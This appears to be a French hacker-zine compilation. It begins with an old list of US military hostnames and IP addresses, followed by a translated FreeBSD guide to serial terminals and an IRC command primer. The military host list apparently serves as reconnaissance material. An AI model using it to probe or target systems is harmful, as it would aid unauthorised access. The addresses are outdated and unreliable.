26.2.0.71       tinker.mt.ddn.mil tinker-mil-tac.arpa
26.3.0.71       satods.arpa
26.4.0.71       tinkermdss.af.mil tinkermdss.arpa
26.6.0.71       ccso-vax.af.mil ccso-vax.arpa
131.18.3.1      ccso-vax.af.mil ccso-vax.arpa
26.10.0.71      oc1.af.mil oc1.arpa
26.12.0.71      ocdis01.af.mil
26.14.0.71      aflc-oc-aisg1.af.mil
26.16.0.71      apsd-ii-os062.af.mil apsd-ii-os062.arpa
26.17.0.71      tinker-piv-1.af.mil tinker-piv-1.arpa
26.24.0.71      chaffe-tcaccis.army.mil
26.0.0.72       ddn-shadow-mc.dca.mil ddn-shadow-mc.arpa
26.1.0.72       ilcn-natick.arpa
26.2.0.72       ddn2.dca.mil ddn.dca.mil ddn2.arpa ddn.arpa
26.5.0.72       inmet.inmet.com inmet.com ddnt.arpa
26.6.0.72       devens-perddims.army.mil perddims19.arpa
26.7.0.72       watertown-emh1.army.mil
26.8.0.72       x25test.dca.mil x25test.arpa
26.9.0.72       dcrb2.arpa
26.7.0.58       dcrb2.arpa
26.11.0.72      nsyptsmh-poe.arpa nsyportsmouth.arpa nysportsmouth.arpa
192.26.20.2     nsyptsmh-poe.arpa nsyportsmouth.arpa nysportsmouth.arpa
26.12.0.72      loring-am1.af.mil loring-am1.arpa
26.14.0.72      pease-am1.af.mil pease-am1.arpa
26.15.0.72      natick-emh1.army.mil natick1.arpa
26.0.0.73       sri-nic.arpa nic.ddn.mil
10.0.0.51       sri-nic.arpa nic.ddn.mil
26.3.0.73       menlo-park.mt.ddn.mil sri-mil-tac.arpa
26.5.0.73       twg.com twg.arpa
26.0.0.74       white-sands.mt.ddn.mil whitesands-mil-tac.arpa
26.2.0.74       wsmr-simtel20.army.mil simtel20.arpa simtel20.army.mil
26.4.0.74       ftbliss-ignet.army.mil bliss-ignet.army.mil igmirs-ftbliss.arpa
26.6.0.74       holloman-am1.af.mil holloman-am1.arpa
26.8.0.74       bliss-perddims.army.mil perddims02.arpa
26.11.0.74      wsmr-emh99.army.mil traps-wsmr.arpa
26.13.0.74      bliss-ato.army.mil bliss-ato.arpa
26.0.0.75       yuma.mt.ddn.mil yuma-mil-tac.arpa
26.5.0.75       luke-piv-3.af.mil luke-piv-3.arpa
26.8.0.75       nellis-piv-1.af.mil nellis-piv-1.arpa
26.10.0.75      mtf-nellis.af.mil mtf-nellis.arpa
26.1.0.76       dca-ems.dca.mil dca-ems.arpa dcems.arpa
26.3.0.76       dcaoc.mt.ddn.mil dcaoc-mil-tac.arpa
26.4.0.76       deers-alexandria.arpa
26.5.0.76       oahost.dca.mil oahost.arpa
26.6.0.76       belvoir-ignet2.army.mil igmirs-corpeng.arpa
26.10.0.76      pentagon-bcn.army.mil pentagon-bcn.arpa
192.31.75.235   pentagon-bcn.army.mil pentagon-bcn.arpa
26.17.0.76      conus-milnetmc.dca.mil conus-milnetmc.arpa
26.0.0.76       conus-milnetmc.dca.mil conus-milnetmc.arpa
26.2.0.77       zama.mt.ddn.mil zama-mil-tac.arpa
26.4.0.77       zama-ignet.army.mil ignet-cpzama.arpa
26.6.0.77       yokota-piv-1.af.mil yokota-piv-1.arpa
26.7.0.77       misawa-piv-1.af.mil misawa-piv-1.arpa
26.11.0.77      zama-pacdpine.army.mil pacdpinet-zama.arpa
26.13.0.77      mtf-misawa.arpa mtf-misawa.af.mil
26.14.0.77      ncpds-iwakuni.arpa
26.15.0.77      nsdyok.arpa yoknsd.arpa
26.10.0.77      nsdyok.arpa yoknsd.arpa
26.16.0.77      ida-fms-yokosuka.arpa
26.17.0.77      poj-har.army.mil poj-har.arpa
26.18.0.77      zama-emh1.army.mil
26.19.0.77      cpzama-jacs6350.army.mil
26.1.0.78       puget-sound.mt.ddn.mil pugetsound-mil-tac.arpa
26.5.0.78       peracv.navy.mil peracv.arpa
26.6.0.78       navhospbrem.arpa
26.7.0.78       navmeducabremerton.arpa
26.8.0.78       navmeducaoakharbor.arpa
26.15.0.78      lewis-asims.army.mil asims-020.arpa
26.0.0.79       benning.mt.ddn.mil benning-mil-tac.arpa
26.4.0.79       benning-ato.arpa
26.6.0.79       benning.army.mil
26.7.0.79       benning-tcaccis.army.mil
26.10.0.79      mcdn-alb.arpa
26.11.0.79      mtf-maxwell.af.mil mtf-maxwell.arpa
26.13.0.79      benning-jacs5074.army.mil jacs5074.arpa
26.14.0.79      columbus-am1.af.mil columbus-am1.arpa
26.15.0.79      camnet-columbus-r02.af.mil camnet-columbus-r02.arpa
26.16.0.79      gunter-am1.af.mil gunter-am1.arpa camnet-gunt-r01.arpa
26.18.0.79      benning-perddims.army.mil perddims33.arpa
26.19.0.79      benning-meprs.army.mil
26.24.0.79      ftgillem-darms.army.mil
26.25.0.79      ftmcphsn-jacs5073.army.mil
26.31.0.79      benning-asims.army.mil asims-034.arpa
26.0.0.80       bragg.mt.ddn.mil bragg-mil-tac.arpa
26.4.0.80       tecnet-clemson.arpa tecnet-clemson.jcte.jcs.mil
26.5.0.80       nardac-cherrypt.arpa
26.6.0.80       chrnsc.arpa
26.9.0.80       chrnsc.arpa
26.7.0.80       ed-mb.af.mil ed-mb.arpa
26.8.0.80       netpmsa-charl3.arpa
26.10.0.80      ftbragg-asatms.army.mil bragg-asatms.army.mil
26.11.0.80      navmeducacharleston.arpa
26.12.0.80      mcdn-clb3.arpa
26.13.0.80      bragg-asims.army.mil
26.14.0.80      jackson-jacs5056.army.mil jackson-jacs.army.mil
26.15.0.80      cptmas.arpa
26.16.0.80      navmeducalejeune.arpa
26.17.0.80      navmeducacherrypt.arpa
26.18.0.80      bragg-jacs5072.army.mil bragg-jacs.army.mil
26.19.0.80      ftbragg-ignet.army.mil bragg-ignet.army.mil
26.24.0.80      pope-piv-1.af.mil pope-piv-1.arpa
26.25.0.80      ftbragg-ignet2.army.mil bragg-ignet2.army.mil
26.26.0.80      ftbragg-ignet3.army.mil bragg-ignet3.army.mil
26.30.0.80      bragg-emh1.army.mil bragg.arpa
26.31.0.80      bragg-perddims.army.mil perddims10.arpa
26.0.0.81       carderock.mt.ddn.mil david-mil-tac.arpa
26.3.0.81       dtrc.dt.navy.mil dtrc.arpa
130.46.1.3      dtrc.dt.navy.mil dtrc.arpa
26.6.0.81       dmacsc.dma.mil dmaodshost.arpa
26.9.0.81       hqaaa.army.mil hqaaa.arpa
26.11.0.81      nardacdc002.arpa dcmail.arpa
26.20.0.81      wrair-emh1.army.mil ilcn-wreed.arpa wrair.arpa
26.2.0.82       buckner.mt.ddn.mil buckner-mil-tac.arpa
26.5.0.82       navmeducaokinawa.arpa
26.6.0.82       ncpds-butler.arpa
26.7.0.82       kadena-piv-1.af.mil kadena-piv-1.arpa
26.8.0.82       kadena-c01.af.mil kadena-c01.arpa
26.9.0.82       kadena-c02.af.mil kadena-c02.arpa
26.10.0.82      mtf-kadena.af.mil mtf-kadena.arpa
26.12.0.82      kadena-am2.af.mil kadena-am2.arpa
26.13.0.82      sac-misc3.af.mil sac-misc3.arpa
26.18.0.82      buckner-emh1.army.mil
26.0.0.83       robins2.mt.ddn.mil robins2-mil-tac.arpa
26.5.0.83       wr1.af.mil wr1.arpa
26.6.0.83       wrdis01.af.mil
26.7.0.83       edcars-wr.af.mil edcars-wr.arpa
26.8.0.83       aflc-wr-aisg1.af.mil aflc-wr-aisg1.arpa
26.9.0.83       dmmis-wr.af.mil dmmis-wr.arpa
26.10.0.83      robins-am1.af.mil robins-am1.arpa
26.11.0.83      kngtrf.navy.mil kngtrf.arpa
26.15.0.205     kngtrf.navy.mil kngtrf.arpa
26.12.0.83      moody-am1.af.mil moody-am1.arpa
26.13.0.83      robins-piv-2.af.mil
26.15.0.83      robins-pc3.af.mil robins-pc3.arpa
26.16.0.83      remis-wr.af.mil
26.2.0.84       dahlgren.mt.ddn.mil nswc-mil-tac.arpa
26.3.0.84       oas.nswc.navy.mil nswc-oas.arpa

(-eof-)

(c)nXo/loteknologies

Je ne sais pas de quand date ce texte, mais les IP doivent avoir changés. certains urls en revanche, non.
 
 

XI/ Le terminal X

Introduction (courte): vous pensez bien que je ne tire pas ces connaissances sur les terminaux, de l'endroit béni d'où je suis né. Alors merci à freebsd pour leurs explications on ne peut plus claires.

Terminaux
Contribution de Sean Kelly <kelly@fsl.noaa.gov>28 Juillet 1996

Utiliser des terminaux est une solution commode et peu coûteuse pour disposer de la puissance de votre système FreeBSD lorsque vous n'êtes pas sur la console de l'ordinateur ou sur un réseau auquel il est connecté. Cette section vous explique comment utiliser des terminaux avec FreeBSD.

Usages et types de terminaux
Les premiers systèmes Unix n'avaient pas de console. Au lieu de cela, les gens ouvraient des sessions et exécutaient leurs programmes à partir de terminaux qui étaient connectés aux ports série de l'ordinateur. C'est un peu la même chose que lorsque l'on utilise un modem et un logiciel d'émulation de terminal pour se connecter à un système distant et travailler en mode texte.

Les PCs d'aujourd'hui ont des consoles graphiques de haute résolution, mais la possibilité d'ouvrir une session sur un port série subsiste toujours sur presque tous les systèmes d'exploitation de type Unix; FreeBSD ne fait pas exception à la règle. Avec un terminal relié à un port série disponible, vous pouvez ouvrir une session et exécuter des programmes comme vous le feriez normalement à la console ou dans une fenêtre xterm avec le gestionnaire X Window.

Pour un usage professionnel, vous pouvez connecter de nombreux terminaux à un système FreeBSD et les installer sur les bureaux de vos employés. Pour une usage domestique, un ordinateur inutilisé, un vieux PC ou Macintosh, peut servir de terminal sur un ordinateur plus puissant sous FreeBSD. Vous pouvez ainsi faire de ce qui serait sinon un système mono-utilisateur un puissant système multi-utilisateurs.

FreeBSD connaît trois types de terminaux:

Les Terminaux passifs,

Les PCs servant de terminaux,

Les Terminaux X.

Les sections qui suivent décrivent chacun de ces types de terminaux.

Terminaux passifs
Les terminaux passifs sont des matériels spécialisés qui vous permettent de vous connecter à votre ordinateur via une ligne série. On les appelle ``passifs'' parce qu'ils ne savent qu'afficher, envoyer et recevoir du texte. Ils ne peuvent pas exécuter de programmes. C'est l'ordinateur auquel ils sont connectés qui dispose de tout ce qu'il faut pour faire tourner les logiciels de traitement de texte, les compilateurs, la messagerie électroniques, les jeux, et ainsi de suite.

Il ya a des centaines de modèles de terminaux passifs de constructeurs différents, dont le VT-100 de Digital Equipment Corporation et le WY-75 de Wyse. Ils fonctionneront pratiquement tous avec FreeBSD. Certains terminaux haut de gamme peuvent même afficher des graphiques, mais seuls certains logiciels tireront parti de ces possibilités évoluées.

Les terminaux passifs sont d'usage courant lorsque les utilisateurs n'ont pas besoin d'accéder à des outils graphiques tels que ceux que fournit le système X Window.

PCs servant de terminaux
Si un terminal passif ne sait qu'afficher, envoyer et recevoir du texte, alors n'importe quel ordinateur personnel inutilisé peut servir de terminal passif. Il vous faudra uniquement le câble adapté et un programme d'émulation de terminal qui tourne sur cet ordinateur.

C'est un usage domestique courant. Si votre femme travaille sur votre console système FreeBSD, vous pouvez travailler en mode texte en même temps à partir d'une machine moins puissante connectée comme terminal à votre système FreeBSD.

Terminaux X
Les terminaux X sont les terminaux les plus sophistiqués, ils ne se connectent pas à un port série, mais habituellement à un réseau du type Ethernet. Au lieu d'être cantonnés au mode texte, ils peuvent afficher des applications X Window.

Les terminaux X ne sont cités ici que pour être exhaustif. Ce chapitre ne décrit pas comment installer, configurer et utiliser des terminaux X.

Câbles et Ports
Pour relier un terminal à votre système FreeBSD, il vous faut le bon câble et un port série auquel le connecter. Cette section vous explique comment faire. Si vous savez déjà comment brancher votre terminal et quel type de câble il vous faut, passez à la section Configuration.

Câbles
Comme les terminaux utilisent les ports série, il vous faudra un câble série - appelé aussi RS-232C - pour relier le terminal à votre système FreeBSD.

Il y a deux sortes de câbles série. Celui que vous utiliserez dépendra du type de terminal que vous voulez connecter:

Si vous connectez un ordinateur personnel pour servir de terminal, utilisez un câble ``null-modem''. Un câble ``null-modem'' relie deux ordinateurs ou deux terminaux entre eux.

Si vous avez un vrai terminal, la meilleure source d'information pour savoir quel câble utiliser est la documentation du terminal. Si vous n'avez pas de documentation, essayez un câble ``null-modem''. Si cela ne marche pas, alors essayez avec un câble standard.

Il faudra aussi que les ports série de votre terminal et de votre système FreeBSD aient des connecteurs compatibles avec le câble que vous utilisez.

Câbles ``Null-modem''
Un câble ``null-modem'' transmet directement certains signaux, le ``signal à la terre'', par exemple, mais en permute d'autres, les broches ``émission'' et ``réception'' sont par exemple reliées entre elles, d'une extrémité sur l'autre.

Si vous réalisez vous-même vos propres câbles, voici une table qui décrit la méthode recommandée pour fabriquer un câble ``null-modem'' pour les terminaux. Cette table donne les noms et les numéros de broches des signaux RS-232C sur un connecteur DB-25,

Signal  Broche #     Broche #  Signal
TxD  2  reliée à  3  RxD
RxD  3  reliée à  2  TxD
DTR  20  reliée à  6  DSR
DSR  6  reliée à  20  DTR
SG  7  reliée à  7  SG
DCD  8  reliée à  4  RTS [a]
RTS  4     5  CTS
CTS  5  reliée à  8  DCD

Remarques :

[a] reliez les broches 4 et 5 entre elles sur le connecteur et à la broche 8 de l'autre extrémité (côté ordinateur).

Câbles RS-232C standard
Un câble série standard transmet directement les signaux RS-232C. Ce qui signifie que la broche ``émission'' d'une extrémité est reliée à la broche ``émission'' de l'autre. C'est le câble que l'on utilise pour connecter un modem à un système FreeBSD, et dont ont besoin certains terminaux.

Ports
Les ports série sont les périphériques grâce auxquels l'information est échangée entre le terminal et l'ordinateur FreeBSD hôte. Cette section décrit les différents types de ports série existant et comment ils sont adressés par FreeBSD.

Types de ports
Il y a différents types de ports série. Avant d'acheter ou de monter un câble, vous devez vérifier qu'il soit adapté aux ports de votre terminal et de votre machine FreeBSD.

La plupart des terminaux ont des ports DB25. Les ordinateurs personnels, dont les PCs sous FreeBSD, ont des ports DB25 ou DB9. Si vous avez une carte multi-ports série sur votre PC, vous pouvez avoir des ports RJ-12 ou RJ-45.

Consultez la documentation de votre matériel pour connaître les spécifications des ports que vous allez utiliser. Un coup d'oeil aux ports suffit souvent aussi.

Noms des ports
Avec FreeBSD, vous accédez à chacun des ports série par une entrée dans le répertoire /dev. Il y a deux sortes d'entrées:

Les ports d'appel entrant sont appelés /dev/ttydX où X est le numéro du port, à partir de zéro. Vous utilisez habituellement les ports d'appel entrant pour les terminaux. Avec ces ports, la ligne série doit émettre le signal ``Data Carrier Detect'' (DCD) - détection de porteuse - pour qu'ils fonctionnent.

Les ports d'appel sortant sont appelés /dev/cuaaX. Vous n'utilisez normalement pas les ports d'appel sortant pour les terminaux, mais pour les modems. Vous pouvez les utiliser avec un terminal, si le câble série ou le terminal ne supportent pas le signal de détection de porteuse.

Reportez-vous aux pages de manuel de sio(4) pour plus d'informations.

Si vous connectez un terminal au premier port série (COM1 en langage DOS), vous utiliserez alors /dev/ttyd0 pour faire référence au terminal. S'il est sur le second port série (aussi appelé COM2), ce sera /dev/ttyd1, et ainsi de suite.

Notez bien que vous devrez peut-être configurer votre noyau pour y inclure le support de chaque port série, en particulier si vous avez une carte série multi-ports. Voyez le chapitre Configurer le noyau de FreeBSD pour plus d'informations.

Configuration
Cette section décrit ce que vous devez faire pour configurer votre système FreeBSD pour pouvoir ouvrir une session depuis un terminal. Elle suppose que vous avez déjà configuré votre noyau pour y inclure le support du port série auquel votre terminal est connecté - et que vous avez branché ce dernier.

En un mot, vous devez demander au programme init, qui contrôle le lancement et l'exécution des processus, de lancer un processus getty, lequel se chargera de lire le nom d'utilisateur au début de la session et lancera à son tour le programme login.

Pour cela, vous devez éditer le fichier /etc/ttys. Commencez par utiliser su pour devenir super-utilisateur. Modifiez ensuite de la façon suivante /etc/ttys:

Ajoutez à /etc/ttys une ligne pour l'entrée du répertoire /dev correspondant au port série, si elle n'y est pas déjà.

Précisez qu'il faut exécuter /usr/libexec/getty sur ce port et donnez le type de ``getty'' approprié, tel qu'il est défini dans le fichier /etc/gettytab.

Donnez le type de terminal par défaut.

Activez le port avec ``on''.

Indiquez si le port doit être ``secure''.

Faites relire le fichier /etc/ttys par init.

En option, vous pouvez définir un type de getty sur-mesure pour l'étape 2 en ajoutant une entrée au fichier /etc/gettytab. Ce document ne vous explique pas comment le faire. Vous êtes invités à consulter les pages de manuel de gettytab(5) et getty(8) pour plus d'informations.

Les sections qui suivent détaillent chacune de ces étapes, Dans l'exemple que nous prendrons pour cela, nous connecterons deux terminaux à notre système: un Wyse-50 et un vieil IBM PC 286 avec un logiciel d'émulation de terminal compatible VT-100. Nous connecterons le terminal Wyse au second port série et le 286 au sixième port série (sur une carte multi-ports).

Pour plus d'informations sur le fichier /etc/ttys, lisez les pages de manuel de ttys(5).

Ajouter une entrée à /etc/ttys
Vous devez d'abord ajouter une entrée au fichier /etc/ttys, à moins qu'il n'y en ait déjà une.

Le fichier /etc/ttys liste tous les ports de votre système FreeBSD sur lesquels vous voulez autoriser l'ouverture de session. Par exemple, la première console virtuelle ttyv0 a une entrée dans ce fichier. Vous pouvez ouvrir une session à la console en utilisant cette entrée. Il y a des entrées dans le fichier pour les consoles virtuelles, les ports série et les ``pseudo-tty''s. Pour les terminaux physiques, n'indiquez que l'entrée /dev du port série, sans le ``/dev/''.

A l'installation de votre système FreeBSD, le fichier /etc/ttys contient les entrées pour les quatre premiers ports série: de ttyd0 à ttyd3. Si vous connectez un terminal à l'un de ces ports, vous n'avez pas d'entrée à ajouter.

Dans notre exemple, le Wyse-50 va sur le second port série, ttyd1, qui est déjà dans le fichier. Il nous suffit d'ajouter une entrée pour le PC 286 relié au sixième port série. Voici un extrait du fichier /etc/ttys après que nous ayons ajouté cette nouvelle entrée:

    ttyd1   "/usr/libexec/getty std.9600"   unknown off secure
    ttyd5
 

Définir le type de getty
Nous devons ensuite préciser quel est le programme à exécuter pour gérer les ouvertures de session depuis le terminal. Le programme standard de FreeBSD pour cela est /usr/libexec/getty. C'est lui qui affiche l'invite login:.

Le programme getty a un argument (optionnel), le type de getty. Un type de getty décrit les caractéristiques de la ligne sur laquelle est le terminal, telle sa vitesse en bps et le type de contrôle de parité utilisé. le programme getty lit ces caractéristiques dans le fichier /etc/gettytab.

Le fichier /etc/gettytab contient un grand nombre d'entrées pour des terminaux anciens et d'autres plus récents. Dans presque tous les cas, les entrées qui commencent par std fonctionneront avec les terminaux physiques. Ces entrées ignorent le contrôle de parité. Il y a un entrée std pour chaque vitesse en bps de 110 à 115200. Vous pouvez bien entendu ajouter vos propres entrées à ce fichier. Les pages de manuel de gettytab(5) vous donnent plus d'informations.

Quand vous définissez le type de getty dans le fichier /etc/ttys, vérifiez que les paramètres de communication du terminal soient les mêmes.

Dans notre exemple, le Wyse-50 n'utilise pas de contrôle de parité et se connecte à 38400 bps. Le PC n'utilise pas de contrôle de parité et se connecte à 19200 bps. Voici le fichier /etc/ttys avec les définitions correspondantes (juste ce qui concerne les deux terminaux qui nous intéressent):

    ttyd1   "/usr/libexec/getty std.38400"   unknown off secure
    ttyd5   "/usr/libexec/getty std.19200"
 

Remarquez que le second champ - celui qui indique quel programme exécuter - est entre guillemets. C'est important, parce que sans cela le type donné en argument de getty serait interprété comme troisième champ.

Définir le type de terminal par défaut
Le troisième champ du fichier /etc/ttys donne le type de terminal par défaut sur le port. Pour les ports d'appel entrant, vous y mettez typiquement ``unknown'' - inconnu - ou dialup - appel - parce que les utilisateurs peuvent s'y connecter avec n'importe quel type de terminal ou de logiciel. Pour les terminaux physiques, le type de terminal ne varie pas, vous pouvez donc indiquer un vrai type de terminal dans ce champ.

Habituellement, les utilisateurs emploient le programme tset depuis leur fichier .login ou .profile pour récupérer le type de terminal et demander de le préciser si nécessaire. En définissant le type de terminal dans le fichier /etc/ttys, vous leur évitez qu'on leur pose cette question.

Pour savoir quels types de terminaux sont reconnus par FreeBSD, consultez le fichier /usr/share/misc/termcap. Il liste environ 600 terminaux. Vous pouvez en ajouter si vous le désirez. Voyez les pages de manuel de termcap(5) pour plus d'informations.

Dans notre exemple, le Wyse-50 est un terminal de type Wyse-50 (bien qu'il puisse émuler d'autres types de terminaux, nous le laisseront en mode Wyse-50). Le PC 286 PC utilise Procomm qui sera configuré pour émuler une VT-100. Voici les entrées adéquates, quoiqu'encore incomplètes du fichier /etc/ttys:

    ttyd1   "/usr/libexec/getty std.38400"   wy50  off secure
    ttyd5   "/usr/libexec/getty std.19200"   vt100
 

Activer le port
Le champ suivant de /etc/ttys, le quatrième, indique s'il faut activer le port. Si vous y mettez on, alors le processus init démarrera le programme mentionné par le second champ, getty, qui affichera l'invite de session. Si vous y mettez off, il n'y aura pas de getty, et donc pas d'ouverture de session sur le port.

Vous devez donc bien sûr préciser on dans ce champ. Voici de nouveau le fichier /etc/ttys. Nous avons activé les deux ports avec on:

    ttyd1   "/usr/libexec/getty std.38400"   wy50  on secure
    ttyd5   "/usr/libexec/getty std.19200"   vt100 on
 

Définir les ports sécurisés
Nous voici arrivé au dernier champ (enfin, presque: il y a un indicateur window optionnel, mais nous ne nous en préocupperons pas). Le dernier champ indique si le port est sécurisé.

Que veut dire ``sécurisé''?

Cela veut dire que le compte super-utilisateur (ou tout compte avec un IDentifiant utilisateur de 0) peut ouvrir une session sur ce port. Les ports non-sécurisés n'autorisent pas l'ouverture de session super-utilisateur.

Comment utiliser les ports sécurisés et non sécurisés?

Lorsqu'un port est non sécurisé, le terminal qui y est connecté n'autorise pas l'ouverture de session super-utilisateur. Les gens qui connaissent le mot de passe super-utilisateur de votre système FreeBSD devront d'abord se connecter sous un compte utilisateur ordinaire. Ils devront ensuite utiliser la commande su pour avoir les droits du super-utilisateur.

Grâce à cela, vous aurez deux enregistrements pour pouvoir repérer les accès super-utilisateur illégitimes: les deux commandes login et su rapportent leur emploi dans le fichier de trace système (les ouvertures de sessions sont aussi enregistrées dans le fichier wtmp).

Lorsque le port est sécurisé, l'ouverture de session super-utilisateur est autorisée depuis le terminal. Les gens qui connaissent le mot de passe super-utilisateur peuvent directement se connecter en tant que tel. Vous n'avez plus les traces potentiellement utiles de l'ouverture de session et de l'utilisation de su.

Que devez-vous utiliser?

Utilisez ``non sécurisé''. Utilisez ``non sécurisé'' même pour les terminaux qui ne sont pas accessibles à tout le monde ou sont dans des locaux fermés à clé. Il est facile d'ouvrir une session et d'utiliser su quand vous avez besoin des droits du super-utilisateur.

Voici finalement les entrées complètes du fichier /etc/ttys accompagnées d'un commentaire qui indique où se trouvent les terminaux:

    ttyd1   "/usr/libexec/getty std.38400"   wy50  on insecure # Cuisine
    ttyd5   "/usr/libexec/getty std.19200"   vt100 on insecure # Salle de bains
 

Obliger init à relire le fichier /etc/ttys
Quand vous démarrez FreeBSD, le premier processus, init, lit le fichier /etc/ttys et démarre les programmes listés pour chacun des ports activés, pour afficher l'invite de session.

Après avoir modifié /etc/ttys, vous aimeriez ne pas avoir à redémarrer le système pour qu'init voit vos modifications. C'est pourquoi init relit /etc/ttys lorsqu'il reçoit un signal SIGHUP (``hang up'' - raccrocher).

Donc, après avoir sauvegardé vos modifications au fichier /etc/ttys, envoyez un SIGHUP à init en tapant:

    # kill -HUP 1

(Le processus init a toujours l'IDentifiant de processus 1.)
Si la configuration est correcte, les câbles en place, les terminaux sous tension, vous devriez voir les invites de session. Vos terminaux sont prêts à être utilisés pour la première fois!

Régler les problèmes liés à votre connection
Même en ayant porté la plus méticuleuse attention aux détails, il peut toujours y avoir quelque chose qui ne va pas lorsque vous installez un terminal. Voici une liste de symptômes et de suggestions de solutions.

L'invite de session n'apparaît pas.
Vérifiez que le terminal est branché et sous tension. Si c'est un ordinateur personnel utilisé comme terminal, vérifiez qu'il utilise bien le logiciel d'émulation de terminal sur le bon port.

Assurez-vous que le câble est solidement raccordé sur le terminal et sur la machine FreeBSD. Vérifiez que c'est le bon type de câble.

Contrôlez que le terminal et FreeBSD utilisent la même vitesse en bps et le même contrôle de parité. Si c'est un terminal vidéo, vérifiez que les contrôles de luminosité et de contraste ne soient pas au minimum. Si c'est un terminal papier, vérifiez qu'il y ait du papier et de l'encre.

Vérifiez qu'il y ait bien un processus getty qui s'exécute pour ce terminal. Tapez:

    # ps -axww|grep getty

pour avoir la liste des processus getty actifs. Vous devriez voir une entrée pour le terminal. Par exemple, la ligne suivante:

    22189  d1  Is+    0:00.03 /usr/libexec/getty std.38400 ttyd1

montre qu'il y a un getty qui s'exécute sur le port série ttyd1 et utilise l'entrée std.38400 de /etc/gettytab.

S'il n'y a pas de processus getty actif, assurez-vous que vous avez activé le port dans /etc/ttys. Avez-vous aussi bien exécuté kill -HUP 1?

Il y a n'importe quoi à la place de l'invite de session.
Vérifiez que le terminal et FreeBSD définissent la même vitesse et le même contrôle de parité. Assurez-vous que le processus getty utilise le bon type de getty. Dans le cas contraire, corrigez /etc/ttys et exécutez kill -HUP 1.

Les caractères sont redoublés; le mot de passe s'affiche quand on le tape.
Passez le terminal (ou le logiciel d'émulation de terminal) du mode ``half duplex'' ou ``echo local'' en mode ``full duplex''.
 

XII/ Dossier IRC

   Irc est un client de connection vers un serveur. Il va vous permettre de dialoguer en direct sur les channels de ce serveurs, qui se trouvent dans de nombreuses villes, pour une connection plus simple. Un canal IRC est aussi appelé un chan. Lorsqu'on arrive sur des chans il est tout de suite facile de voir qui est opérateur du chan, un "@" devant le nick, qui est voicé avec un "+" devant le nick, et qui est banni: y'a qu'à regarder la liste dans channel info.
   Dès son arrivé sur un chan il est tout de suite possible de savoir quel genre de types sont dessus. Si les mecs ont un nick écrit comme: PsYkAoS, Wz_Gate, __2 etc... Z'êtes tombé sur un chan de lamers. dans tout les cas, la présence d'un topic est elle aussi déterminante sur la mentalité d'un chan.

   "Pour garder un chan il existe des bots: Bot est l'abréviation pour Robot. Un bot est donc en fait un logiciel. Ne vous étonnez donc pas s'il ne parle jamais (sauf quand un op facétieux le fait parler).

Un bot effectue des tâches de routine permettant le bon fonctionnement du canal. Il permet à l'op de se libérer d'obligations un rien contraignantes, et lui facilite également la vie lorsqu'il s'agit d'effectuer des actions rapides.

Exemple: un bot réagit beaucoup plus vite qu'un humain en cas de flood...
Sachez qu'un bot utilise la bande passante pour huit utilisateurs, donc si tout le monde se met à en balancer un, ça va encombrer un rien.
N'utilisez pas de bot s'il ne doit servir qu'à "garder" votre canal ou votre nickname contre d'éventuels usurpateurs (à moins que votrecanal n'ait une renommée mondiale et votre nick une importance significative). Personne ne cherchera à s'emparer d'un canal qui ne réunit que deux personnes." (Macplus)

   Tout comme sur telnet, IRC réagit avec des systèmes de commandes à entrer pour éxécuter des fonctions spécifiques.
 
   "Eléments de syntaxe:

[] signifie que l'argument en facultatif.

# est employé à la place de n'importe quel chiffre/nombre.

message désigne un texte, quel qu'il soit.

channel fait référence à un canal dont le nom commence par # ou & (ie: général ou local).

Nick indique le nickname, ou surnom, tel qu'utilisé communément sur IRC. Bon gars ce Nick.

C'est parti !

 

/admin server renvoie le nom de l'administrateur du serveur désigné.

/away message vous place "away", c'est-à-dire temporairement absent d'IRC (si vous ne donnez pas de message, vous ne serez pas placé "away"). NB: même "away", vous pouvez continuer à parler normalement... ceci est juste une indication donnée aux autres utilisateurs comme quoi vous êtes occupés à autre chose.

/ban nick effectue un "ban" du nick désigné pour le channel sur lequel vous êtes.

/bye message pour quitter IRC en affichant un message de départ.

/broadcast message pour envoyer un message sur tous les canaux sur lesquels vous êtes à la fois.

/channel channel [passwd] pour rejoindre un canal (avec mot de passe)

/cmdchar c change le préfixe de commande IRC (par défaut /) pour le caractère désigné.

/cping nick affiche le temps de réponse de Nick en secondes.

/ctcp target command envoie une commande CTCP (Client to Client Protocol) à votre cible(=target). On va dire Nick, pour faire simple. Faites /ctcp target clientinfo pour de plus amples informations.

sound sndname joue le son "sndname" sur l'ordinateur de Nick.
sound affiche la liste de son disponibles sur l'ordinateur de Nick.
xdcc list affiche la liste des fichiers disponibles sur l'ordinateur de Nick.
xdcc version affiche la version xdcc (actuellement 1.0)
xdcc send # demande à Nick d'envoyer le fichier numéro # à votre ordinateur.
action = /me
finger affiche le temps de latence et/ou l'adresse email de Nick.
version affiche la version du logiciel client.
clientinfo affiche toutes les commandes ctcp d'un logiciel client.
userinfo affiche le champ "userinfo" d'un utilisateur.
ping permet de vérifier si un utilisateur est toujours présent.
time affiche l'heure locale d'un utilisateur.
/date affiche la date et l'heure.

/dcc command nick envoie une commande dcc à Nick (voir plus loin).

/debug montre toutes les commandes "bas-niveau" (low level) de votre logiciel client. A vos risques et périls, plein de trucs étranges peuvent arriver. Je vous conseille juste de tester.

/exit message = /bye

/ignore pattern vous permet d'ignorer les messages de "nick!user@host" (wildcards reconnues).

-pattern efface le pattern de la liste "ignore".

/info donne des informations sur le serveur.

/invite nick channel invite Nick sur le canal désigné.

/ison nick montre si Nick est sur IRC ou non. Ne fonctionne pas sur tous les serveurs.

/join pour rejoindre le dernier canal sur lequel on vous a invité.

/join channel [passwd] = /channel

/kick channel nick :msg pour "kicker"(=foutre dehors) Nick du canal avec un petit message (sympathique ? :-).

/leave channel pour quitter un canal.

/links affiche les connections du serveur.

/links mask montre tous les serveurs contenus dans le mask.

/list donne une liste de tous les canaux. Attention: vu le nombre de plus en plus importants de canaux sur IRC, vous risquez d'être déconnecté du serveur tellement cela fait de données. Pas de wildcards pour le moment.

-min # affiche seulement les canaux avec un minimum de # utilisateurs.
-max # affiche seulement les canaux avec un maximum de # utilisateurs.
-public affiche seulement les canaux publiques.
-private affiche seulement les canaux privés (mode +p).
-local affiche seulement les canaux locaux (ceux avec &).
-global affiche seulement les canaux globaux.
-topic affiche seulement les canaux avec topic établi.
-mask- affiche seulement les canaux reconnus par le mask. Par ex: /list -*mac*
/lusers affiche des statistiques: le nombre d'utilisateurs IRC dans le monde et le nombre de canaux.

/map affiche un plan de toutes les connections du serveur (seulement sur Undernet).

/massop donne le statut d'opérateur à toutes les users du canal.

/massdeop enleve le statut d'opérateur à toutes les users du canal sauf vous.

/massunban efface tous les bans d'un canal.

